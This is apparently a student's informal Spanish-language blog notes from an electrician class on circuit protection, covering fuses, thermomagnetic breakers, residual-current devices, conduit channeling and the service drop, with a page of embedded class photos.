<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsUVavHPhCsWK_qiwC0J5jKTvpsYyPu6glWceGF1L5xKm_ugcW7MUgTPqTFkk4bamAMqwo6V2losYc8mXxn68WKyoz28jrpkK_fTUctRvbPqdMVQhDHPKVV6Heo2lYQRx1Do_8U9FtI9A74Y3o6cfbRWmb2N6U76eFigYB1mHcCqMZAaxB2Cqs1QgeHzU/s4160/IMG_20250527_184853130.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi81h3hnJ6KtOqMYL9VfoKusFhOi-l8BOtf0SvttJQTl9PG8kdpkUg-iK6jtYG2k9YTw5alVyCKs7At7Cl9IHydHLke4HayqlQ1VdgeZPgytZHTNy2G0HSw2zQRC0snkHq0o2F0NIKHL3eYebugACQP2fHpnyGAlo37Fmzh-rCEMhKNMulmodj-BFsW0dQ/s4160/IMG_20250527_185115349.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpS6gFCS0PDc35R2LHmztbLJftUaYZVAYdO7aeaV3Tyebhf7aU0sDIEi5rKrNksxRj8rd-un8BPG4NvENorEw_0v5VfqyuH-5p1MYAQAPpBqrDiGBbGzCZPZSAK0vnrkLUTrjh66av3-ipR05OsP9HNgDWyxW_Qcy8fwl1J7cj5YKFWExjTQNtF-sxYm0/s4160/IMG_20250527_185122503.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgluyNKgp0zKWyTzdkGTxlJ5jF5GppaWYB8H5tW80ssBEzv1_u2xz6z9tcysLglKtnR1gLAvjsGG6-wA5yCZArcmXlraoS79gTVLkSNE9VXwpVrYZSkc6NYIxuq2eLE-xBpQvwgm7WWP5AbNuUdRMtIq4dMJYfp_WdHlo5D5c_Vn8LQggXFttrDgVXWRz4/s4160/IMG_20250527_185237145.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFjuPzlUhuIejZJ0eUGTDOSfQuG6aARyKV4S9ErxUtAYf3aqwb1f6-5ArQeg0EVYlsEAKpHsSnCxFZUxQuc1GFpwj7Sce7o5GTZyWf0t1mvl6uOmWmXarcZy3cPn2B_ss98Pywd9Dn_cRNqNrFqUW73gEsJu-iGC6Vtq-CsgkYiIoqS3JDR8SVXtJOMYY/s4160/IMG_20250527_185338861.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsxYudylKYt20tOVrOI_-vD5sys7SKKI_fE2qomFHMmTzz3U9Hb2l5SXFkgpJHZRfXbUxa0WTvgYoucC4bcVrGPp8PYXL_b1YNwyh7-qYCFHCBKzCMsP1UYJirRVEV0n4ERuPHcmSkOF8DWH9YogGbXb8eogNi7-Lwlxf6Z9sYrLxAMQdsjfeWiA44Zxg/s4160/IMG_20250527_185416074.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Br72Lwgd20-otkrlDKy0m8aFaO034Lg82baUqQGovaqu9Zbo6DmfZ5VU0WGGUnjgzidJjp3epkai4A3zWIR8d63e0cF_ne82ui_ckGVhQB6iEfG2S3j9Ja1iOvsZ5U0xfD9NmMpZ955m4doM8S7tRru5d31LNypfKvdGGlQXVQ9b5o5vFlMpBLuzqhE/s4160/IMG_20250527_185456797.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk52wAFgyrZ0ntNLoABxv02GKYdLUqUQg5KTwx7YwcLC1Bb0BBnkyGcYgCDxrWxge8OPwCo0guyfQlg8Tg90r2Hz1Ly8UwFn-q2Gx0NuSEPwYwWCKVm3Bqg4ReM_-8G203p7bTqkLN3bRQFdmuLnezgD4oP3d_XCBtjco9QIVbupSpZ0JNbIfflgtxkOc/s4160/IMG_20250527_185503753.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOPnjbrIkyymOdB6eDa8OwicmSfAV3GIUXk-Zcl95YfgE6puzd4rNcKL1Lv4KPAwq9nWEBI_kREoxC4ZRGh8OQ94Uix-TzDv6zcM_xoY3LGkN1n7HQL3XOXpaYsfoAH2EjkCso3o2jKg0ykkUauAoGI5HjdOSvCdoJfOhohqcrha6HaxglOkfAbS9sBAU/s4160/IMG_20250527_185633438.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin4H_kyUHU3bEulDXr5yq8om2JdiV_2Z-fv-OiBOOQObhjVbeyx3bK9A-STeFndWm1GflB852qHPwFcJRsY8X-yZqg_kzK1EoHv9TDi6vF05y_yHFomRwIEdJFrCv8iNbssa6jb40R_qqA6bv9Lrmac0jAEh4lCmhmKkzEX9Lr1sk5ar814bcb0QmHCVQ/s4160/IMG_20250527_185924966.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVUfYhziqS6xgfDEHmB_usfaTLghwBWGgBCRaSGvxr-D3l72vaJsjmEdHCP0H_hSo-S51JwXpKBXlXozd2BvsVVU5n4ZaQFmPOOLQfjQhSmHGb3QkktpM-h1zoqtq1S1nuJR-ci8vODi1ON-8JRrD6oW5QEQ0tbMqT5j1GSsafOGoNP15ANFy6Ql7m1XI/s4160/IMG_20250527_190045755.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqRghuOfzVhkeSxLo9cIBpWL8HNfvfeHH5rj7baRL1-RanRmqdo0mb2LnExB9DLjh5sb3Vdyibjd-d4UZnMlgjmBFZ8ea5UUtRjjwd38_Y3FmY4fZ1yWtkQaEGJNe1i9upvYDw1vN_ZEIMaceci84eYRR6hlgrTZj1SwpY1Y6mlMqdSOSUwe9DL8yod7k/s4160/IMG_20250527_190053185.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_it55BAFYiAuMQD-HfqOxm48c3tZ0Mtj1qv6D-CaEEbpBFV6SYxVGjub_jcofAm5j5X5DPu_uz_iIPfwhgBcqCrPdpFgwPtPy8VxX6IdCx2HSp_DLbm0azbdgXURgkFrQVGKe6FV6EAkCeCRrzxTOujMj2ulZ1ZIdugs0UlQD9PYwLFmxuE55K0gb6TA/s4160/IMG_20250527_190408273.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIlj9fwnltSK7ibPQukXws6FLrlWsdZU8BhabAll52-q2VeOIPjqIJ704Ur1SYcwSlkwOfH8EFKGQI25ZbC2OeKV-U2ffKDS7_yVPKwqr9pZ5-jYFTOj1Ct0edZWYP3TkZVjtNj0UJjWuQJmMGhwlluahAtirS8ZFMEpDHsc6dwrzDVs0UG6WM9bUN2sA/s4160/IMG_20250527_190916480.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqPZpmj5WcOx7vhadDptFrlbBNKuWJGgI04ubv-Z-2ao_KR0YUP_fe37SbjnsfOaURnT0L3unpX0lNkY-nxIhklEKdfDWNlVx95kA4IvhyCXg9l0tthrMWZneDpwtHAkMWBewmaHUzM_PORK35s-JtbIUBI0fbyi11q8epI3-Gsi6sH3OHqmBEE2JGbrk/s4160/IMG_20250527_191105296_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKweTtU0ZZHOyyakMafA7OemCNDWGYb_0mqe6gXqroXxouJvBuaFlPF1cg21Nf009tvNAzGO0LSvM31MJS23sMIHB4ybJXCEuA89mWZGUK78vivVNTFhL5IMhhH7TsF2_dt91RV8hyphenhyphenoR3WkXw7O1OXfHJIeAmwPDj0XNvT9y98OKV828eE0lTKwYPpX-k/s4160/IMG_20250527_191105296_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix904746IZKeVRHHORnKXVYPve-9UadVgdcRoaMSXQAmDRrTvVmI1fHP8nKqunmUVvHY6RfNaMceTAsJEzNGUryX-XAXbVwCLhhyMCGp0o4JqZZGZ4NpYlwRBO1qA7xxVxN83He3j9VpUYPujDm6ZEIEEAkeSG_6AfM_9rmha7CAXavRAIuDznzc3tn1U/s4160/IMG_20250527_191204283.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF6uNN7zWEvhZBgztqR_hK2H-8RWpqpKn_0HOSrGod5PFQL1sEbUS7Yt_F_HCyZu4PvywlzpSpq2faiYxY0-pNWoPmD-BHuj3e_UeHb_srNfXZpWt2_bZJeotzFvh9x05uawSHaSVRpVnWtMevXrrIlK8cZZtiXC_wcbdmWITeND98TpFWndI68u9iHBs/s4160/IMG_20250527_191249509.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEght4XxDEU-Ww10uMjAW9pTaSv9_GGWIWMN4NGtHSgTRMx0HfKI59HTs3ES1kRQUvsj1EJFsKeC_I2RHrn27hFR4PaDAOcQg1lUNj4oxzJ5BDe_yzRIW0NPlHqHKwEh9InBGmWVy15YBWDwkt7NEPy_SFLZIz3JxaacM-k1eO0MG4M411dM1L6TLxabJh4/s4160/IMG_20250527_191357700.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuy_3PcBZs93QwvbSPb9b-AxRUC4H9KXQ8nbo_zO332Dkq_Of5abg7WK107xLAmWekrgA3x2s8tZ6ACrjIjZ-E17TpujzD76IuxpbvUGfiFw1O-FUNBN_9HS_4P7g96JlyGWe06K82h7AigRup_UgQgTYckxojw0aHwOERUPYWE_v9dqf0JUGKWufHj1U/s4160/IMG_20250527_191816824.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghuImxFFQleR8D4gvesjsxTi_r7B7XR7Wyd14jQNY8xQqXV7JCNoXi1QNwk2eYEM9tXgyE4eQXmAk-H0QsAMpULM1LUUUJSnT7DXD6JEwzGKCoZtHdhIx3oWpFfPyP8TmD1-Bds9M-LSEsF4bQvz5pPY0aUCg8KdfzZ2DiShAWFgLjyB4PzLE4UfP5mFw/s4160/IMG_20250527_191822355.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi9vfZldYtU1b_IfC2j9irUC18_wxURUc7Cz7UxdUwrJR7CRUta20gBLlMt1na3zlX6v2LdDRJhshDhAI3kXYZDONKmC4ot0QnbXa2j905lK4GDBXICxDb_I_m6Sj-NxOcATphj2L3zVKTY3WC3h7f0Thoo2WyWyVXiY6BFmIVrMHKqIt8ZvHhR25z9ag/s4160/IMG_20250527_191942692.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgA4syMcKbL5pJxE87H-_hLU6X0vkERj0lIwWkhwF3re3TUY67yaKOHBFxPMSfutOyWECXSWAhb1x5ru4e2PmoQlVULkorwfgOCpvdGrG_ZvhRiVvPc1gWktTlWYgHsSSKkvu6lKQESgVAdTrpED-uJafxWSLfEZ-Ii_qooDN8a3cyaghAZ1BZ1xduq4Vk/s4160/IMG_20250527_192016603.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirih1Nh8aPQY5Z_f36KykD5FOyt6pn81Y1WlWlt7wQYYai8CbaKiUXhLKruzK5wDSMe-bXKQW8F1DSRAmE41VaNoQlKvd471cSg2rjYO26SKkB46wy5Mh0ZDkxTTf91o0FMEW_Qmqpd94XXps04cwl5z2FlmR7aiaRGVspCpXdbGdAuRTlUvvIfRL1pss/s4160/IMG_20250527_192129200.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinPKTVBFLQk-zhLnl4LBldRhyphenhyphenBHMcST74CW1gA-D6L4ZYLLynfSkqarg7hjbzi4sLCxcB_rYzQyChRbZCAPa8DHT4TsLWS4ABBPpvSM1V-G45oH9gKYHouE74HC9DeouQzXgVNroEbL5yJJrcgJ42EYmR9FyzaVtQ1b7pgMtDxEiXXbXA-vI80bYbnoxY/s4160/IMG_20250527_192216944.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIZBhsJOzR9jBkJlqGNhXnom7XugzYH7cewDdhM4tS1KoBIdslL8HsuGARvZ3aumFxRPMPgpKc6qTiCk_4p64wuZYlzX2ZckTMZ8amPDE2n9dv7tcdgk-Tpp6BeitMzf4knV5B_48WgWhDwV6puMIGPLEkqQlE0QDNG5jGiyKr6oMfGS96DmTGQnuOJjc/s4160/IMG_20250527_192729825.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk3CXPVApInXk1VkVPsc4Zg6koDvcQ-bg-NgGny4GrEoPtT0vn7-CRdQNd43VD1HIuJ2LJ2400ZRTST93bMoSPoLV8cuPgzoJPZ7XPiY8JaXBs8hu761gWwRQD37OBswCUfa-wkdXz-zjmTScZC-Bu-W91BLiTkG2x9Plxnx8P13UGRKSwUm2im6pqSJM/s4160/IMG_20250527_192750670.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6L7ZfWC8V-BJ0t685bKh9oKEAoX2yTqdyqrqyz4iKA5N7fq1JMgj-H315Bbi-1WmGMLG3WOeAsaztAKqxVA_Ap7PANIVOFjvbpQcDJU7gmU9aH-i2PL8OMGLUIKO3Gq4xB1nnNQvNaQ0IwPM8iMPXbbJBFPBXPcPj5dvkH1uEHOPNozeDAmKg_bpo_QQ/s4160/IMG_20250527_192754751.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWx9FqcktDzkfKFnPOxyqt0GDvCPOVFzAB-ccTcpeAMmzJXFO3t63j-upiTkmcl4Ui2gqym4yjMl67_IPWgD7xqTUeCErO17akIwU1RIwmK5lpoWavfjXjo1quEJiQ_Lq_8bq4qVyGhp9-DoscERt9ptoY0QQPYcuLraogGhRjPl1Ashzr2v4UeEFBe1o/s4160/IMG_20250527_192756303.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcHkFFhGNIUtGVrA7oNvehXFRpOEJ5PiSEfKDY5UXmkFK6dZV0XirOrKxpnIApjy81iQbvYi__GGZ_UpZh4A2cqayCp7832qREy5Nu7buntilCB60s7CnK_sBo9ZPmthmawdF8kssSZhBHQDYH-VkJovKSeDwG8ctHirNd_PPVxOdNNCQqYQAJWRXjPcI/s4160/IMG_20250527_193019855.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7paWKhIP-hNKZXLPzHqJGhK9Gg0OnfMDjUPlSGN7SdkzM4BlU8jRmaxb4IAQEdSGcH4QUY-JLy8zvnclEk_dag70iydtOHsDm5ejFL00uszLVDqfQ74qqg5IuDwDa20WqWE3Pq_8-zn-Mie90yb-RgRoShkM-4I5Xy7z10ANNHUi0Mn2AsJmbOTi8IvQ/s4160/IMG_20250527_193117721.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicrtLz3vLs2cxMVKS50YXCWxY0lRDI663DVFLhwIIkd4ttjNZlu7eK-wik8pc8B8BSjLxOITLuzjwuXwMjAQefJYZhyphenhyphenS7irhK9je9dQoRFvHi66yUJPfq0JgnSMJV-HvCKxM7U7Ud_eM8CtmNVFOc7Ad9BVAg7DEGu2_D1BpuXrea43YJ6IdLTLPFvXpY/s4160/IMG_20250527_193119812.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaW8E3J0Ax1-OsNHvGCUO2hUz6jjs0aqYz_fQpMmVYx_AVKb57C9YBTiBMSN5hLQ4iohWriVRf7UY_SYJtbh6y1d5TjOaQ01plPlEDW_yxexAZjoYFIDTQRUOc1lm4462s4o3QF_OurWZu2gPxFeADMq4aVu8_372k4GHd1Um9LSaQl-74HNhFau3Slpw/s4160/IMG_20250527_193213465.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq3eHamzT0YHa2ZKC1Yq06H1-Sc8Mg5lY7kpOp88bil3K1N8I_Dnwm9kaDpKg8SqKdr6UeNkq_ca_WShnjQAO6LeQU_7B66SRGDmZgjJDlGbn41McJTCifhlhFvXWkslKNNFgEc0jNqMpj_mmsdr39zCk6dPs9DrnUYc25-Iwgq16aUUWJLg9hyphenhyphen0FOLHs/s4160/IMG_20250527_193239122_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1fABfC2K8hEO3HBNgpC708hn8k-SOFlAgHFY0u8h2YzPoeO_gB7DWxjjATQ1Ul_DlZ3sB1BASSZBvNBA67jDIMHqJtBGGX88JqT65UPzxEdKDyzxRrvstU-jsmmdC6_purHlt6GgNEwsdjrkVABeK0zEfJylRGcpcQHwjdXfdxNXN8nUtao532fZwMqA/s4160/IMG_20250527_193239122_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSb876OnytfQZ1tb8UH-G09jNgICULOirLAbqD612iz6aD834JV76HF-UMfUU_ye4t4dy3GYnWC8kjbjWZRb3xAVWWSoQdZja__7WC8MGPjVmw2PkqPjUOlw1yVZFWsGePlbAbGTcCWQISU4LBQJewHdSWfc9GhyphenhyphenNBzEfLLI56Fl_TKCcyx9cROoOEZlY/s4160/IMG_20250527_193649852.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkmkMydUkZuAWaawRKlc24TSW7V1hMWJmo34uZZqvXXKi6iCPV5CR0dsNGeWq3zh3qJg0v_mo9AiCtU69AX9RYdULuRVvoDQ4J8Em_RoLrbg6YD6J7ZhV1v9MI2Uykz99aMz00hZ_8NlntRkJ3mJE2hgDvB48N3ITeaUXTOkN2oq91_0hI4-A1LYr9gnk/s4160/IMG_20250527_194806499.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmBeGEUmJgEDb65pap2XbKg_XW1FIJH-HByhw6ISJNV0YaSDO1phpMNF1i2Ry_rD-9CI1yA3W4KCA395jmDd0lYz3T2217uZsrEbGfIWrj1cjgFDpo-vWW10yQCUqTnqhl_iz3u9P6g8PvUZDNhxAVwoknRwF4RqMdLe45ca1NWEkM95Tm-u89NpFCh54/s4160/IMG_20250527_195029973.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBdH6C87GaovPf6SwCzETQmnhN_KCr62CxzBf5HBuzzv8-yrGkLmIR6zhDeZIx1XX4AxfxZwdfb06CoFKexXcJEEh4jb_KsszcVefV3469xWoa5DYKCTaU5T3DwTjSN3HevYZl-xRj13zSGicEbARt6sHscj8rUTSag77Mi9paEpUYCda0tPKp4ipOyhk/s4160/IMG_20250527_195031494.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1NEof5dVAoipVfmRhM1yW0EtSxKWP0YnOZqBy2Xx6lge69n3xn2PPlJsLaEDVcY0smtgVpZlWkA15TQyDtL-R38RYnp36CaKENbs-LAe5F90TW0BNynhZFPXyzHoC-SIbrA2VnQX1Icz5kFjo2yN_Ecm__x5t4UOt4SXDuwVy0PVxZlVSJPVN_8GEK5Y/s4160/IMG_20250527_195237548.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgu-LXv-u6gHnvW0NgYxy90bckSeLLm08_vjYOqjbR9xcrGY1AROiUTL4u9KMAI9gkyCCqF_Vks_tF0GZ16BVbBA3AT45rLw6em6uknjDReMhouvXtaQ4FXSRTkRxQ3bHw93dVWCCAwGyGRQVXiMQSFBdBjZtLqPgKGe6sjbTH3YyYcnCJGx-f1dadTclE/s4160/IMG_20250527_195333889.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyHFt7kjxYWDgdjTEsXnPRVxMldftDIZYUlNgtnswAkVnX69W0ez-tvAuGPll35C_4tvJi9KewNGDdxWpY3t7S5d4k4HmuaXaJwWKf76a_oZb9QSZxbO95SX6Y97qiAzE5zI8zG1MX7YBsuppI_U-w0r-qUfgDAntevvVQ_moAmAcdLozfabSvtaysIBk/s4160/IMG_20250527_195623704.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg2UPOPqbB76_59poX0wQLEl4g2Uo8Zvte8H4lUMPAR9Mh0T48syUGMVa3ODgDf7Xnsz6jaeIpRPv15izVR42tBvoWmOljkvTy5ABip5iBRk4_QzQLbmqiwXDckz-YbOwrQj2XloO-0RnheW95fr8mdM3pSp6JrGTnJf57TQo7pVv1YKYH-Qno_Km1Jvw/s4160/IMG_20250527_195716408.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheYdReA8SmpnVZTFSKezPlRoKSRUsOjnSmRLX8F5ShQB68P5_WNRv4grG4nigpZzmhwlvzHyO15wo-yvIgtVo1OWkoybL3dBLk8oIxLIhIhOyA60n-jYzd3N-TD777hxOPwbebT8tL6d9tBfcCMPfa851zpghB6WQCMFslxZwjjM4vOMgYt4W0iGXdP60/s4160/IMG_20250527_195828105.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSZzuX9fedd6EII5gzEj-hvEZ-GgiT-0xxAkKRniaacQqb8Hbe75Pq8PjqYnTn7Hoo_TAbyn3tuw-nEnndWRwPtVCSRr1e1BUVEO4BQrked-V_X3QdTNmXI7YtSL4u6WYrOZ7XA9biWKQy5EqknLv-nhZUVJjvZc2-Y-8Diu4ISEK6h7U4il82vwFiPxI/s4160/IMG_20250527_195830232_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBAwELjswsU89EEPB1GGviwOwz6HxTkX1UikWk8RFk_KYKNGiRFUueizoXVaMCJFvKT-mL8-xnxdOLrQ4exNG8kfXCta1zum5_5JuByB6u-mSza4wdPEA5e3dEjtHDgDq7oMujMFJ5e6IwykdkrgVExjFaURWACb7dxARXVAgYc6tV_NECUb3bDoWa-Wo/s4160/IMG_20250527_195830232_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3_1OTzUNqqUpZ2TTz1O1DAJhhw3sFsXlKvEaukSR2aXLnif2gh5B-d8cqQrn3k_QDlqPwWqjtCul85Q7M-GqUNZrlnw1A5MteLodgeCpH4leZrDEvwmdXn0DUJsfU4rikTN6LA0TyCQHgoBatHB4ZRelpuyTZo6oD3P0I-UmH5FEhRv2-riALmvaxjJM/s4160/IMG_20250527_195919328.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZyx1l4pE9QI5sSQPLUV0NSaNdkD0ZpnA-CGcsD2v1gKRI_xSOHR5AQXP7dt8Ab5LR-eBA_vQsvhVQ54n0eVp5AxtJTe9uYaQ1rCKYhsCT6GOwFZp88hpOMKNKkOILAc3MPqXgI1MepqSrzgAfArqeess6VdVz8RQoxhJaEv6spNZ-QLGntm4QoGvYAsw/s4160/IMG_20250527_200632559.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMa02B3ONUOihC-MNW0OxLJwQEfgCdkQzrH3ak4WMk3mIUXMNGxsPypr6S2Dh4wKrwmgP_aOKkapsB5EulTu8u25JLGP9Wa1nPgjp36TSRpOXU0HGp3Www0MPGhZj9YDs5QIXVfR7idfqub5Lfmaq9kDPdh-A5VqHIHVhN2jW8zT6-sIglA8xeg8Dm49o/s4160/IMG_20250527_200829427.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYHgjFixS-YElyYvHosVaGtdPTwFxIXTGyt2j4Qkx_FPS1OTs8GxcU8UisI0-qByoT8fDUkPgbxtaCmK0rgJzw3wt6JVB1FVlQajhNkV_L5v-4K_7JSgnqOiO_id4lyjKGqll3ZVa_pDpqzpqxeVKzZbVvkzrReC_dNV_ZD4A8PPpBSO5glMITz0ZGTY4/s4160/IMG_20250527_201400244.jpg" alt=""></p>
-
Electricidad / Clase 29: Protecciones. Corriente máxima por conductor. Simbología interruptor (ver foto) Normas AEA. Antiguamente se protegía los conductores con el fusible. Es que el calibrado del fusible aéreo es de 40 amperios y es de 1 filamento solo, sin embargo vos dentro de un cable de 2,5mm^2 que no llega a esa capacidad vos tenes de como a 25 a 30 filamentos y eso se calcula, por lo general un cable de 2,5mm^2 soporta 4 amper por filamento y eso la gente no sabe, entonces lo que ellos quieren tener es luz nada más.
Profesor: Bueno, en síntesis empecé al revés esto es lo que se utiliza ahora pero anteriormente se usaba el fusible calibrado protegía el conductor de sobrecarga y cortocircuito tenía un filamento ese filamento se fundía cuando llegaba a una cierta corriente y se cortaba, había que reemplazarlo y algunos hacían bien y otros no.
Agustín García Humada Fundieron el Banco Provincia porque daba mucho crédito que no pudieron pagar y hasta Mennoquio que se fugó al Paraguay, el gusano Mennocchio también llevó mucha plata.
Se quemaban todos los motores de la fábrica Agustín García en Candelaria porque era fácil meter un alambre cuando se fundía el fusible. Tenía que tener contactor térmico para proteger los motores, no solo los fusibles.
Cámara apaga chispas de la térmica. Matías Samuel: Ahí se quema tu térmica y tenes que comprar otra? Corriente de ruptura: produce un cortocircuito que absorbe el equipamiento este para no romperse por lo general aparece en un interruptor aparece un cuadradito a veces dice: 3000 amper esa es la corriente de ruptura que nos da la cooperativa dice que probablemente cuando se desliga un transformador el neutro con la fase puede producir una corriente cortocircuito y CC al rededor de 3000 amper. El interruptor termomagnético puede actuar por una corriente cortocircuito que venga de la línea o directamente por un circuito acá abajo, cualquiera de las 2 formas actúa (aguas arriba y aguas abajo) en eso es distinto que el disyuntor(interruptor diferencial).
Es importante que tengan en cuenta porque son 2 elementos porque a veces ahí la cooperativa de Oberá se le ocurrió para bien poner atrás del medidor el interruptor termomagnético principal de corte curva B y al lado un disyuntor.
Ayudante desafía al profesor. Es mejor comprar una pinza amperométrica porque tiene todo lo que tiene el tester y podes medir consumo.
Profesor: No, pero cuando el dijo tampón ya tengo que poner está ahí más o menos la respuesta correcta pero le faltó la palabra fusible, los famosos fusible EDISON que tenía una base portafusible y un tapón arriba y ese adentro tenía una cápsula. Leiva: Podrías a ver contestado vos también si sos un alumno más(habla al Ayudante Alejandro Ramirez) XDD Profesor: Esa cápsula estaba calibrada internamente unida a través de un hilo conductor, ese hilo conductor tenía el mismo funcionamiento que esto(que el ITM) pero en caso de que se fundía de acuerdo a la corriente había que reemplazarlo. La gente muy viva dijieron que voy a comprar esta capsulita agarraba los hilos del conductor los enrollaban ahí y colocaban, listo. Ayudante(Alejandro Ramirez): Los más cabezas le encajaban un cable, un clavo. Profesor: Claro, el tema es que había continuidad en el fusible. Ayudante(Alejandro Ramirez): el problema es que ya perdió la protección. Profesor: Entonces empezaron a estudiar qué método podrían emplear para poder proteger sin que la gente manosee ni use la capsulita esa se caga el puente con cualquier otra opción. Ayudante(Alejandro Ramirez)(Interrumpe al profesor 01:44): Ese funcionaba más o menos como un foco cuando vos enroscabas el fusible hacía un contacto y ese hilo que tenía un cierto amperage que soportaba si excedías eso se fundía, entonces la gente desenroscaba el fusible y ese filamento de cable calibrado lo reemplazaba con filamentos esos o le atravezaban un clavo para que cuando vos enrosques de vuelta cierre el contacto.
##### Ayudante(Alejandro Ramirez): Es que el calibrado del fusible aéreo es de 40 amperios y es de 1 filamento solo, sin embargo vos dentro de un cable de 2,5mm^2 que no llega a esa capacidad vos tenes de como a 25 a 30 filamentos y eso se calcula, por lo general un cable de 2,5mm^2 soporta 4 amper por filamento y eso la gente no sabe, entonces lo que ellos quieren tener es luz nada más.
Fundamental para el auxiliar electricista: como se hace la canalización: tengan en cuenta que si trabajan en forma ortogonal se pica a la pared una cierta profundidad de acuerdo a las dimensiones del caño generalmente es de 1 cm más de las que necesita, las cajitas también entonces esa idea tiene que tener en clara y que se trabaja en forma ortogonal. Conociendo las medidas con respecto a nivel del piso como coloco las alturas y qué intervalo puedo manejar de acuerdo a las característica que tenga mi instalación y de acuerdo a la necesidad del cliente 1000 watts ya son circuito especiales mínimo conductor de 4mm^2 (nadie hace esto si pones bien la térmica no hay problema) Como saber si un interruptor termomagnético anda: Lo 1ero que hacemos es medir si tiene continuidad o no. Interruptor diferencial = disyuntor. Si el disyuntor salta no es porque funciona mal sino que hay una pérdida, en un colegio lo querían cambiar. Un interruptor diferencial trifásico de buena marca está arriba de los 100mil. Cuando cambiarlo: Se cambia cuando el disyuntor está todo el día saltando o no funciona nunca. Se puede cambiar el disyuntor por uno de menos sensibilidad. Conviene poner disyuntor por fase en una instalación trifásica: Si constantemente está saltando este lo ideal es hacerlo por fase en vez de monofásico por fase El disyuntor trifásico ahora corta los 4: 3 fases y el neutro. una instalación es segura y confiable cuando... El versito ese, pero también tiene que contar con 3 elementos importantes: interruptor termomagnético de cabecera, un disyuntor y la puesta a tierra Después de 15 de junio habrá nota teórica y RCP. ###### Acuérdense que hay una parte que dice agrupación de conductores, esa agrupación de conductores es una cosa principal de la instalación eléctrica pero fíjense cualquier cosa si no entienden, es sintético pero fácil de entender.
Pregunta de examen: ¿Cuál es la acometida? No es conductor de entrada solamente es todo el proceso desde la conexión de arriba: El morceto, el fusible, el conductor, si tiene depende de qué categoría tenga si tiene mayor consumo se pone un APR arriba y la pinza de anclaje, todo ese proceso que va desde la red hasta el medidor todos los elementos es la acometida.
